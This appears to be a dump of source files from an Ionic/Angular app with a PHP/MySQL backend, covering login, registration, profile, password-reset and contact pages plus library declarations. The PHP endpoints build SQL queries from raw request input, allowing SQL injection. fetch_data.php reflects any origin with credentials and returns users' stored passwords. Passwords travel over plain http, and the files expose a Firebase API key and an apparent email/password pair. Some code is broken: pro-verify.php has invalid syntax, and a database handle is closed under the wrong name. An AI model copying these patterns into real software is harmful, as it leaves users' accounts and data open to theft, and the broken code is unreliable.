[ngClass]="(btnOutline ? \'btn-outline-\' + btnStyle : \'btn-\' + btnStyle)"\n type="button" [showHideTrigger]="id">\n <fa-icon [fixedWidth]="true" size="lg" [icon]="(isHidden ? faEye : faEyeSlash)"\n [showHideStatus]="{id: id}"></fa-icon>\n </button>\n </div>\n'}]}],e.ctorParameters=function(){return[{type:u},{type:t.ElementRef},{type:t.Renderer2}]},e.propDecorators={btnStyle:[{type:t.Input}],btnOutline:[{type:t.Input}],size:[{type:t.Input}]},e}(),l=function(){function e(){}return e.decorators=[{type:t.NgModule,args:[{imports:[i.CommonModule,s.FormsModule,o.FontAwesomeModule],exports:[p,h,d,c],declarations:[p,h,d,c]}]}],e}();e.ShowHideService=u,e.ShowHideTriggerDirective=h,e.ShowHideStatusDirective=c,e.ShowHideInputDirective=d,e.ShowHidePasswordComponent=p,e.ShowHidePasswordModule=l,Object.defineProperty(e,"__esModule",{value:!0})}); //# sourceMappingURL=ngx-show-hide-password.umd.min.js.map``` profile.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, NavParams, AlertController,LoadingController } from 'ionic-angular'; import { Subscription } from 'rxjs/Subscription'; import { NgForm } from '@angular/forms'; import {Http, Headers, RequestOptions} from '@angular/http'; import 'rxjs/add/operator/map'; /** * Generated class for the ProfilePage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-profile', templateUrl: 'profile.html', }) export class ProfilePage { @ViewChild('userForm') form: NgForm; @ViewChild("fullname") fullname; @ViewChild("password") password; @ViewChild("newpassword") newpassword; @ViewChild("confirmpassword") confirmpassword; @ViewChild("email") email; @ViewChild("fulladdress") fulladdress; @ViewChild("telephone") telephone; storageSub: Subscription; items:any; data:any = {}; public username: string; //public emailaddress:any; public result; constructor(public navCtrl: NavController, public alertCtrl: AlertController, public navParams: NavParams, private http: Http, public loading: LoadingController ) {} ionViewWillLoad(){ var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let loader = this.loading.create({ content: 'Recovering details, please wait...', }); //var link = this.baseURI + "manage-data.php"; var body = JSON.stringify({testname: localStorage.getItem('storedData')}); //alert("DATA: "+body); loader.present().then(() => this.http.post('http://rooftg-afme.com/fetch_data.php', body,options) .map(res => res.json()) .subscribe(res => { loader.dismiss() this.items=res.server_response; //console.log("DATA received:", body); } //err => { //console.log("ERROR!: ", err); // alert(err); ) ) } signIn(){ //// check to confirm the username and password fields are filled if(this.fullname.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Full Name field is empty", buttons: ['OK'] }); alert.present(); } else if(this.password.value==""){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Password field is empty", buttons: ['OK'] }); alert.present(); } else if(this.newpassword.value!=this.confirmpassword.value){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"New Passwords do not match", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { fullname: this.fullname.value, email: this.email.value, telephone: this.telephone.value, password: this.password.value, newpassword: this.newpassword.value, confirmpassword: this.confirmpassword.value, }; let loader = this.loading.create({ content: 'Updating details, please wait...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/update.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Login success"){ let alert = this.alertCtrl.create({ title:"Your Account has been updated", buttons: ['OK'] }); alert.present(); //this.navCtrl.push(LoginPage, data); }else { let alert = this.alertCtrl.create({ title:"ERROR", subTitle:"Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert.present(); } }); }); } } } ``` pro-verify.php ```<?php require "dbconnect.php"; $data = file_get_contents("php://input"); if (isset($data)) { $request = json_decode($data); $username = $request->'zeeshan@live.com'; $password = $request->'zeeshan350'; } $username= mysqli_real_escape_string($con,$username); $password = mysqli_real_escape_string($con,$password); $username = stripslashes($username); $sql = "SELECT * FROM prverfy WHERE code = '$username'"; $result = mysqli_query($con,$sql); $row = mysqli_fetch_array($result,MYSQLI_ASSOC); $active = $row['active']; $count = mysqli_num_rows($result); // If result matched myusername and mypassword, table row must be 1 row if($count >0) { $response= "Your Login success"; }else { $response= "Your Login Email or Password is invalid"; } echo json_encode( $response); ?>``` compiler-host-factory.d.ts ```import { CompilerOptions } from 'typescript'; import { FileSystemCompilerHost } from './compiler-host'; export declare function getFileSystemCompilerHostInstance(options: CompilerOptions): FileSystemCompilerHost; ``` fetch_data.php ```<?php if (isset($_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}"); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Max-Age: 86400'); // cache for 1 day } // Access-Control headers are received during OPTIONS requests if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}"); exit(0); } require "dbconnect.php"; $data = file_get_contents("php://input"); if (isset($data)) { $request = json_decode($data); $name = $request->testname; } else{} $sql = "Select * from users where email ='$name'"; $stmt = mysqli_query($con, $sql) or die ("MySQL Error:".mysqli_error($con)); $result = mysqli_query($con,$sql); $count = mysqli_num_rows($result); // If result matched $myusername and $mypassword, table row must be 1 row $response = array(); while($row = mysqli_fetch_array($result)) { array_push($response, array("id"=>$row[0], "username"=>$row[1], "password"=>$row[2], "telephone"=>$row[3], "email"=>$row[4], "fulladdress"=>$row[5])); } //$row = mysqli_fetch_array($result,MYSQLI_ASSOC); //$active = $row['active']; //$count = mysqli_num_rows($result); // If result matched $myusername and $mypassword, table row must be 1 row echo json_encode(array("server_response"=> $response)); mysqli_close($db) ?>``` index.d.ts ```import { ModuleWithProviders } from '@angular/core'; import { optionsConfig } from './config'; export * from './ion-mask/ion-mask.component'; export declare class IonMaskModule { static forRoot(configValue?: optionsConfig): ModuleWithProviders; } ``` show-hide-status.directive.d.ts ```import { ElementRef, Renderer2, OnDestroy, AfterViewInit } from '@angular/core'; import { ShowHideService } from './show-hide.service'; export interface ShowHideStatusConfig { id: string; show?: string; hide?: string; materialIcon?: boolean; } export declare class ShowHideStatusDirective implements AfterViewInit, OnDestroy { private service; private el; private renderer; private subscription; private config; showHideStatus?: ShowHideStatusConfig; constructor(service: ShowHideService, el: ElementRef, renderer: Renderer2); ngAfterViewInit(): void; private updateStatus; ngOnDestroy(): void; } ``` input-mask.module.d.ts ```export declare class InputMaskModule { } ``` forget.ts ``` import { Component, ViewChild } from '@angular/core'; import { NavController, AlertController, LoadingController } from 'ionic-angular'; import { FormBuilder, FormGroup, FormControl } from '@angular/forms'; import { AuthService } from '../core/auth.service'; import { LoginPage } from '../login/login'; import { RecoverPage } from '../recover/recover'; import { Http, Headers, RequestOptions} from "@angular/http"; import 'rxjs/add/operator/map'; //import { Router } from '@angular/router'; /** * Generated class for the ForgetPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-forget', templateUrl: 'forget.html', }) export class ForgetPage { @ViewChild("username") username; data:string; items:any; forgetForm: FormGroup; errorMessage: string = ''; successMessage: string = ''; constructor( public navCtrl: NavController, public authService: AuthService, public formBuilder: FormBuilder, public alertCtrl: AlertController, private http: Http, public loading: LoadingController ) {} ionViewWillLoad(){ this.forgetForm = this.formBuilder.group({ username: new FormControl() }); } goLoginPage(){ this.navCtrl.push(LoginPage); } signIn(){ //// check to confirm the username and password fields are filled if(this.username.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Please enter your email address", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); //username: this.username.value; let data = { username: this.username.value, }; let info = this.username.value let loader = this.loading.create({ content: 'Processing please wait...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/forget.php',data,options) .map(res => res.json()) .subscribe(res => { //console.log(data) loader.dismiss() if(res=="Your Login success"){ let alert = this.alertCtrl.create({ title:"Password Reset", subTitle:"If the email address you entered is registered to an account, you will receive an email with instructions on how to reset your password", buttons: ['OK'] }); //alert.present(); //this.navCtrl.push(RecoverPage, //{firstName: this.data} //); let page1Data=info; localStorage.setItem('recoverData', page1Data); this.navCtrl.push(RecoverPage, info); //this.router.navigate([RecoverPage, data]); }else { let alert = this.alertCtrl.create({ title:"ERROR", subTitle:"Your Email Address doesn't exist in our database!", buttons: ['OK'] }); alert.present(); } }); }); } } } ``` ion-mask.d.ts ```/** * Generated bundle index. Do not edit. */ export * from './index'; export { config as ɵa, initialConfig as ɵb } from './config'; ``` auth.service.ts ```import { Injectable } from "@angular/core"; import { Platform } from 'ionic-angular'; import 'rxjs/add/operator/toPromise'; import { AngularFireAuth } from 'angularfire2/auth'; import * as firebase from 'firebase/app'; //import { Facebook } from '@ionic-native/facebook'; //import { GooglePlus } from '@ionic-native/google-plus'; //import { TwitterConnect } from '@ionic-native/twitter-connect'; //import { FirebaseUserModel } from './user.model'; //import { environment } from '../../environment/environment'; @Injectable() export class AuthService { constructor( public afAuth: AngularFireAuth, //public fb: Facebook, //public googlePlus: GooglePlus, //public tw : TwitterConnect, public platform: Platform ){} doRegister(value){ return new Promise<any>((resolve, reject) => { firebase.auth().createUserWithEmailAndPassword(value.email, value.password) .then(res => { resolve(res); }, err => reject(err)) }) } doLogin(value){ return new Promise<any>((resolve, reject) => { firebase.auth().signInWithEmailAndPassword(value.email, value.password) .then(res => { resolve(res); }, err => reject(err)) }) } doLogout(){ return new Promise((resolve, reject) => { if(firebase.auth().currentUser){ this.afAuth.auth.signOut() resolve(); } else { reject(); } }); } } ``` recover.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, NavParams, AlertController,LoadingController } from 'ionic-angular'; import { Subscription } from 'rxjs/Subscription'; import { NgForm } from '@angular/forms'; import {Http, Headers, RequestOptions} from '@angular/http'; import 'rxjs/add/operator/map'; import { LoginPage } from '../login/login'; /** * Generated class for the ProfilePage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-recover', templateUrl: 'recover.html', }) export class RecoverPage { @ViewChild('userForm') form: NgForm; @ViewChild("newpassword") newpassword; @ViewChild("confirmpassword") confirmpassword; storageSub: Subscription; items:any; account: any; data:any = {}; public username: string; //public emailaddress:any; public result; constructor(public navCtrl: NavController, public alertCtrl: AlertController, public navParams: NavParams, private http: Http, public loading: LoadingController ) {} ionViewWillLoad(){ var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); //var link = this.baseURI + "manage-data.php"; var body = JSON.stringify({testname: localStorage.getItem('recoverData')}); //alert("DATA: "+body); this.http.post('http://rooftg-afme.com/fetch_data.php', body,options) .map(res => res.json()) .subscribe(res => { this.items=res.server_response; //console.log("DATA received:", body); } //err => { //console.log("ERROR!: ", err); // alert(err); ) } goLoginPage() { this.navCtrl.push(LoginPage); } signIn(){ //// check to confirm the username and password fields are filled if(this.newpassword.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Full Name field is empty", buttons: ['OK'] }); alert.present(); } else if(this.confirmpassword.value==""){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Password field is empty", buttons: ['OK'] }); alert.present(); } else if(this.newpassword.value!=this.confirmpassword.value){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"New Passwords do not match", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { email: localStorage.getItem('recoverData'), newpassword: this.newpassword.value, confirmpassword: this.confirmpassword.value, }; let loader = this.loading.create({ content: 'Recovering details, please wait...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/pswrecover.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Login success"){ let alert = this.alertCtrl.create({ title:"Your Account has been updated", buttons: ['OK'] }); alert.present(); this.account = window.localStorage.removeItem('recoverData'); this.navCtrl.push(LoginPage); }else { let alert = this.alertCtrl.create({ title:"ERROR", subTitle:"Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert.present(); } }); }); } } } ``` app.module.ts ```import { BrowserModule } from '@angular/platform-browser'; import { ErrorHandler, NgModule } from '@angular/core'; import { Nav, IonicApp, IonicErrorHandler, IonicModule } from 'ionic-angular'; import { SplashScreen } from '@ionic-native/splash-screen'; import { StatusBar } from '@ionic-native/status-bar'; import { MyApp } from './app.component'; import { SignoutPage } from '../pages/signout/signout'; import { RegisterPage } from '../pages/register/register'; //import { SplashPage } from '../pages/splash/splash'; import { UserPage} from '../pages/user/user'; import { ProfilePage } from '../pages/profile/profile'; import { ContactPage } from '../pages/contact/contact'; import { ForgetPage } from '../pages/forget/forget'; import { TabsPage } from '../pages/tabs/tabs'; import { RecoverPage } from '../pages/recover/recover'; import { VerificationPage } from '../pages/verification/verification'; import { LoginPage } from '../pages/login/login'; import { IntroPage } from '../pages/intro/intro'; import { HttpModule } from '@angular/http'; import { AuthService } from '../pages/core/auth.service'; import { UserService } from '../pages/core/user.service'; import { AngularFireModule } from 'angularfire2'; import { AngularFireAuthModule } from 'angularfire2/auth'; import { environment } from '../environment/environment'; import { IonicStorageModule } from '@ionic/storage'; import { Mask } from './mask'; @NgModule({ declarations: [ MyApp, RegisterPage, UserPage, ProfilePage, ContactPage, //SplashPage, SignoutPage, TabsPage, ForgetPage, RecoverPage, VerificationPage, Mask, LoginPage, IntroPage, ], imports: [ BrowserModule, IonicModule.forRoot(MyApp), AngularFireModule.initializeApp(environment.firebase), AngularFireAuthModule, HttpModule, IonicStorageModule.forRoot() ], bootstrap: [IonicApp], entryComponents: [ MyApp, RegisterPage, UserPage, ProfilePage, ContactPage, //SplashPage, SignoutPage, TabsPage, RecoverPage, ForgetPage, VerificationPage, LoginPage, IntroPage, ], providers: [ StatusBar, SplashScreen, AuthService, UserService, {provide: ErrorHandler, useClass: IonicErrorHandler}, Nav, ] }) export class AppModule {} ``` app.component.ts ```import { Component, ViewChild } from '@angular/core'; import { Nav, Platform } from 'ionic-angular'; import { StatusBar } from '@ionic-native/status-bar'; import { SplashScreen } from '@ionic-native/splash-screen'; import { Storage } from '@ionic/storage'; import { LoginPage } from '../pages/login/login'; import { IntroPage } from '../pages/intro/intro'; import { TabsPage } from '../pages/tabs/tabs'; import { timer } from 'rxjs/observable/timer'; @Component({ templateUrl: 'app.html' }) export class MyApp { @ViewChild(Nav) nav; rootPage:any = LoginPage; //rootPage:any; //loader: any; account: any; showSplash = true; // <-- show animation constructor(public platform: Platform, statusBar: StatusBar, splashScreen: SplashScreen, private storage: Storage) { platform.ready().then(() => { // Okay, so the platform is ready and our plugins are available. // Here you can do any higher level native things you might need. statusBar.styleDefault(); splashScreen.hide(); timer(3000).subscribe(() => this.showSplash = false) // timer(3000).subscribe(() => this.showSplash = false) // <-- hide animation after 3s //setTimeout(() => {splashScreen.hide();}, 300) this.storage.get('introShown').then((result) => { if(result){ this.account = window.localStorage.getItem('storedData'); if (this.account){ this.nav.push(TabsPage); } else { this.nav.push(LoginPage); } } else { this.nav.push(IntroPage); } }); //timer(3000).subscribe(() => this.showSplash = false) }); } } ``` intro.ts ```import { Component, ViewChild } from '@angular/core'; import { Nav, NavController, Platform, LoadingController } from 'ionic-angular'; import { StatusBar } from '@ionic-native/status-bar'; import { SplashScreen } from '@ionic-native/splash-screen'; import { Storage } from '@ionic/storage'; import { LoginPage } from '../login/login'; /** * Generated class for the IntroPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-intro', templateUrl: 'intro.html', }) export class IntroPage { @ViewChild(Nav) nav; constructor(public navCtrl: NavController, public platform: Platform,statusBar: StatusBar, SplashScreen: SplashScreen,public loadingCtrl: LoadingController, public storage: Storage) { } goToHome(){ //this.navCtrl.setRoot(LoginPage); this.storage.get('introShown').then((result) => { if(result){ this.nav.setRoot(LoginPage); //this.rootPage = 'IntroPage'; //this.navCtrl.push(LoginPage); //this.nav.push(LoginPage); } else { this.storage.set('introShown', true); this.navCtrl.setRoot(LoginPage); //this.navCtrl.push(IntroPage); //this.rootPage = 'IntroPage'; } }); } } ``` ion-mask.service.d.ts ```import { IConfig } from './config'; export declare class IonMaskService { dropSpecialCharacters: IConfig['dropSpecialCharacters']; clearIfNotMatch: IConfig['clearIfNotMatch']; maskExpression: string; maskSpecialCharacters: IConfig['specialCharacters']; maskAvailablePatterns: IConfig['patterns']; private _regExpForRemove; private _shift; constructor(); onTouch: () => void; applyMask(inputValue: string, maskExpression: string, position?: number, cb?: Function): string; isNotMatch(mask: string, value: string): boolean; removeMask(value: string): string; private _checkSymbolMask(inputSymbol, maskSymbol); } ``` brmasker-ionic-services.d.ts ```import { OnInit } from '@angular/core'; export declare class BrMaskServicesModel { mask: string; len: number; person: boolean; phone: boolean; money: boolean; percent: boolean; type: 'alfa' | 'num' | 'all'; decimal: number; decimalCaracter: string; thousand: string; userCaracters: boolean; numberAndTousand: boolean; } export declare class BrMaskerIonicServices3 implements OnInit { brmasker: BrMaskServicesModel; constructor(); ngOnInit(): void; writeCreateValue(value: string, config?: BrMaskServicesModel): string; writeValuePercent(value: string): string; writeValuePerson(value: string): string; writeValueMoney(value: string, config?: BrMaskServicesModel): string; writeValueNumberAndThousand(value: string, config?: BrMaskServicesModel): string; writeValueusingSpecialCharacters(value: string, config?: BrMaskServicesModel): string; private moneyMask(value, config); private onInput(value); private thousand(value); private usingSpecialCharacters(campo, Mascara, tamanho); private formatField(campo, Mascara, tamanho); } ``` index.d.ts ```import { NgControl } from '@angular/forms'; export declare class Ionic2MaskDirective { private control; mask: string; constructor(control: NgControl); ngOnChanges(): void; onKeyUp($event: any): void; private format(v); } ``` show-hide-password.module.d.ts ```export declare class ShowHidePasswordModule { } ``` ion-mask.component.d.ts ```import { IConfig } from './../config'; import { OnInit } from '@angular/core'; import { ControlValueAccessor } from '@angular/forms'; export declare class IonInputMaskComponent implements ControlValueAccessor, OnInit { placeholder: string; label: string; typeLabel: string; typeInput: string; clearInput: boolean; lastChild: boolean; disabled: boolean; mask: any; specialCharacters: any; patterns: any; dropSpecialCharacters: any; clearIfNotMatch: IConfig['clearIfNotMatch']; valueIonInput: string; private ionMaskService; private value; private propagateChange; constructor(); registerOnTouched(): void; writeValue(obj: string): void; registerOnChange(fn: any): void; onChange(event?: any): void; onBlur(event: any): void; keyUpEvent(event: any): void; getAttrTypeInput(): string; getAttrLabel(type: string): boolean; getAttrClearInput(): string; getAttrPlaceholder(): string; private _setPropService(); private _setProp(nameProp, prop); ngOnInit(): void; } ``` contact.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, AlertController, LoadingController } from 'ionic-angular'; import { FormBuilder, FormGroup} from '@angular/forms'; import { AuthService } from '../core/auth.service'; import { Http, Headers, RequestOptions} from "@angular/http"; import 'rxjs/add/operator/map'; /** * Generated class for the ContactPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-contact', templateUrl: 'contact.html', }) export class ContactPage { @ViewChild("email") email; @ViewChild("enquiry") enquiry; data:string; items:any; emailvalue:any; forgetForm: FormGroup; errorMessage: string = ''; successMessage: string = ''; constructor( public navCtrl: NavController, public authService: AuthService, public formBuilder: FormBuilder, public alertCtrl: AlertController, private http: Http, public loading: LoadingController, ) { this.emailvalue = window.localStorage.getItem('storedData'); } signIn(){ //// check to confirm the username and password fields are filled if(this.enquiry.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Please enter your enquiry", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { email: this.email.value, enquiry: this.enquiry.value, }; let loader = this.loading.create({ content: 'Sending enquiry...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/enquiry.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Login success"){ let alert = this.alertCtrl.create({ title:"Enquiry Sent", subTitle:"We have received your enquiry. Thank you", buttons: ['OK'] }); alert.present(); }else { let alert = this.alertCtrl.create({ title:"ERROR", subTitle:"Something happen wrong. We are fixing it.", buttons: ['OK'] }); alert.present(); } }); }); } } } ``` index.d.ts ```export * from './brmasker-ionic-3'; export * from './brmasker-ionic-services'; ``` tabs.ts ```import { Component } from '@angular/core'; import { ContactPage } from '../contact/contact'; import { UserPage } from '../user/user'; import { ProfilePage } from '../profile/profile'; import { SignoutPage } from '../signout/signout'; /** * Generated class for the TabsPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-tabs', templateUrl: 'tabs.html', }) export class TabsPage { userPage = UserPage; contactPage = ContactPage; profilePage = ProfilePage; signoutPage = SignoutPage; } ``` signout.ts ```import { Component } from '@angular/core'; import { NavController, NavParams, App, AlertController } from 'ionic-angular'; //import { Storage } from '@ionic/storage'; import { LoginPage } from '../login/login'; import { TabsPage } from '../tabs/tabs'; /** * Generated class for the SignoutPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ @Component({ selector: 'page-signout', templateUrl: 'signout.html', }) export class SignoutPage { account: any; constructor(public navCtrl: NavController, public alertCtrl: AlertController, public navParams: NavParams, public app: App) { let alert = this.alertCtrl.create({ title: 'Confirm', subTitle:"Are you sure you want to sign out?", buttons: [ { text: 'Yes', handler: () => { this.account = window.localStorage.removeItem('storedData'); this.app.getRootNav().setRoot(LoginPage); } }, { text: 'No', handler: () => { this.app.getRootNav().setRoot(TabsPage); } } ] }); alert.present(); } ionViewDidLoad() { console.log('ionViewDidLoad SignoutPage'); } } ``` environment.ts ```export const environment = { production: false, // fbAppId: 186848361921511, googleWebClientId: '401245627689-ke4oci7bc8440anmpo4dms1od5keoome.apps.googleusercontent.com', firebase: { apiKey: "AIzaSyAxSYHb72zK_sVJPIi7o2qbDKOKxBFBfdo", authDomain: "decratile-28262.firebaseapp.com", databaseURL: "https://decratile-28262.firebaseio.com", projectId: "decratile-28262", storageBucket: "decratile-28262.appspot.com", messagingSenderId: "763419740045" } }; ``` register.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, AlertController, LoadingController } from 'ionic-angular'; import { FormBuilder, FormGroup, FormControl } from '@angular/forms'; import { AuthService } from '../core/auth.service'; import { Http, Headers, RequestOptions} from "@angular/http"; import { ForgetPage } from '../forget/forget'; import { TabsPage } from '../tabs/tabs'; import { LoginPage } from '../login/login'; import 'rxjs/add/operator/map'; @Component({ selector: 'page-register', templateUrl: 'register.html' }) export class RegisterPage { @ViewChild("fullname") fullname; @ViewChild("password") password; @ViewChild("emailaddress") emailaddress; @ViewChild("fulladdress") fulladdress; @ViewChild("telephone") telephone; data:string; items:any; loginForm: FormGroup; errorMessage: string = ''; constructor( public navCtrl: NavController, public authService: AuthService, public formBuilder: FormBuilder, public alertCtrl: AlertController, private http: Http, public loading: LoadingController ) {} ionViewWillLoad(){ this.loginForm = this.formBuilder.group({ email: new FormControl(), password: new FormControl(), }); } tryLogin(value){ this.authService.doLogin(value) .then(res => { console.log(res); this.navCtrl.push(TabsPage); }, err => { console.log(err); this.errorMessage = err.message; }) } goLoginPage() { this.navCtrl.push(LoginPage); } goRegisterPage(){ this.navCtrl.push(RegisterPage); } goForgetPage(){ this.navCtrl.push(ForgetPage); } signUp(){ this.navCtrl.push(RegisterPage); } signIn(){ //// check to confirm the username and password fields are filled if(this.fullname.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Full Name field is empty", buttons: ['OK'] }); alert.present(); } else if(this.password.value==""){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Password field is empty", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { fullname: this.fullname.value, emailaddress: this.emailaddress.value, telephone: this.telephone.value, password: this.password.value }; let loader = this.loading.create({ content: 'Processing please wait...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/registration.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Login success"){ let alert = this.alertCtrl.create({ title:"Your Account has been created", buttons: ['OK'] }); alert.present(); this.navCtrl.push(LoginPage, data); }else { let alert = this.alertCtrl.create({ title:"ERROR", subTitle:"Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert.present(); } }); }); } } } ``` input-mask.component.d.ts ```import { ElementRef } from '@angular/core'; import { Platform, TextInput } from 'ionic-angular'; export declare class InputMaskComponent { private _elementRef; private _platform; input: TextInput; carret: ElementRef; textHolder: ElementRef; rawPattern: string; rawMask: string; rawMaskCharacter: string; rawTabindex: string; rawType: string; private _mask; private _maskCharacter; private _maxLength; private _pattern; private _value; constructor(_elementRef: ElementRef, _platform: Platform); ngOnInit(): void; ngAfterViewInit(): void; renderValue(): void; updateValue(event: any): void; value: string; } ``` login.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, AlertController, LoadingController } from 'ionic-angular'; import { FormBuilder, FormGroup, FormControl } from '@angular/forms'; import { RegisterPage } from '../register/register'; import { ForgetPage } from '../forget/forget'; import { TabsPage } from '../tabs/tabs'; import { AuthService } from '../core/auth.service'; import { Http, Headers, RequestOptions} from "@angular/http"; import 'rxjs/add/operator/map'; @Component({ selector: 'page-login', templateUrl: 'login.html' }) export class LoginPage { @ViewChild("username") username; @ViewChild("password") password; data:string; items:any; rootPage:any = 'UserPage'; loader: any; account: any; loginForm: FormGroup; errorMessage: string = ''; constructor( public navCtrl: NavController, public authService: AuthService, public formBuilder: FormBuilder, public alertCtrl: AlertController, private http: Http, public loading: LoadingController ) { this.account = window.localStorage.getItem('storedData'); if (this.account){ this.navCtrl.push(TabsPage); } //check on how you will access the username //this.storage.get('uid0s').then((result) => { //if(result){ //this.navCtrl.push(TabsPage); //} //}); } ionViewWillLoad(){ this.loginForm = this.formBuilder.group({ email: new FormControl(), password: new FormControl(), }); } goRegisterPage(){ this.navCtrl.push(RegisterPage); } goForgetPage(){ this.navCtrl.push(ForgetPage); } signUp(){ this.navCtrl.push(RegisterPage); } signIn(){ //// check to confirm the username and password fields are filled if(this.username.value=="" ){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Username field is empty", buttons: ['OK'] }); alert.present(); } else if(this.password.value==""){ let alert = this.alertCtrl.create({ title:"ATTENTION", subTitle:"Password field is empty", buttons: ['OK'] }); alert.present(); } else { var headers = new Headers(); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json' ); let options = new RequestOptions({ headers: headers }); let data = { username: this.username.value, password: this.password.value }; let info = this.username.value let loader = this.loading.create({ content: 'Processing please wait...', }); loader.present().then(() => { this.http.post('http://rooftg-afme.com/login.php',data,options) .map(res => res.json()) .subscribe(res => { console.log(res) loader.dismiss() if(res=="Your Login success"){ //this.storage.set ('uid0s', info); let page1Data=info; localStorage.setItem('storedData', page1Data); this.navCtrl.push(TabsPage); }else { let alert = this.alertCtrl.create({ title:"Unable to Sign In", subTitle:"The email address and password combination you entered is incorrect. Please try again", buttons: ['OK'] }); alert.present(); } }); }); } } }``` mask.ts ```import { Directive, Attribute, Optional } from '@angular/core'; import { NgModel } from '@angular/forms' @Directive({ selector: '[mask]', host: { '(keyup)': 'onInputChange($event)', '(keydown)': 'onInputChange($event)', }, providers: [NgModel], }) export class Mask { pattern: string; constructor( @Optional() private model: NgModel, @Attribute('mask') pattern: string ) { this.pattern = pattern; } onInputChange(e) { try { let value = e.target.value, caret = e.target.selectionStart, pattern = this.pattern, reserve = pattern.replace(/\*/, 'g'), applied = '', ordinal = 0; if (e.keyCode === 8 || e.key === 'Backspace' || e.keyCode === 46 || e.key === 'Delete') { if (value.length) { //remove all trailing formatting while (value.length && pattern[value.length] && pattern[value.length] !== '*') { value = value.substring(0, value.length - 1); } //remove all leading formatting to restore placeholder if (pattern.substring(0, value.length).indexOf('*') < 0) { value = value.substring(0, value.length - 1); } } } //apply mask characters for (var i = 0; i < value.length; i++) { //enforce pattern limit if (i < pattern.length) { //match mask if (value[i] === pattern[ordinal]) { applied += value[i]; ordinal++; } else if (reserve.indexOf(value[i]) > -1) { //skip other reserved characters } else { //apply leading formatting while (ordinal < pattern.length && pattern[ordinal] !== '*') { applied += pattern[ordinal]; ordinal++; } applied += value[i]; ordinal++; //apply trailing formatting while (ordinal < pattern.length && pattern[ordinal] !== '*') { applied += pattern[ordinal]; ordinal++; } } } } e.target.value = applied; console.log(this.model, applied) if(this.model && this.model.valueAccessor) this.model.valueAccessor.writeValue(applied); if (caret < value.length) { e.target.setSelectionRange(caret, caret); } } catch (ex) { console.error(ex.message); } } }``` user.ts ```import { Component, ViewChild } from '@angular/core'; import { NavController, AlertController, LoadingController } from 'ionic-angular'; import { UserService } from '../core/user.service'; import { FormBuilder, FormGroup, FormControl } from '@angular/forms'; import { AuthService } from '../core/auth.service'; import { FirebaseUserModel } from '../core/user.model'; import { Http, Headers, RequestOptions} from "@angular/http"; import 'rxjs/add/operator/map'; @Component({ selector: 'page-user', templateUrl: 'user.html', }) export class 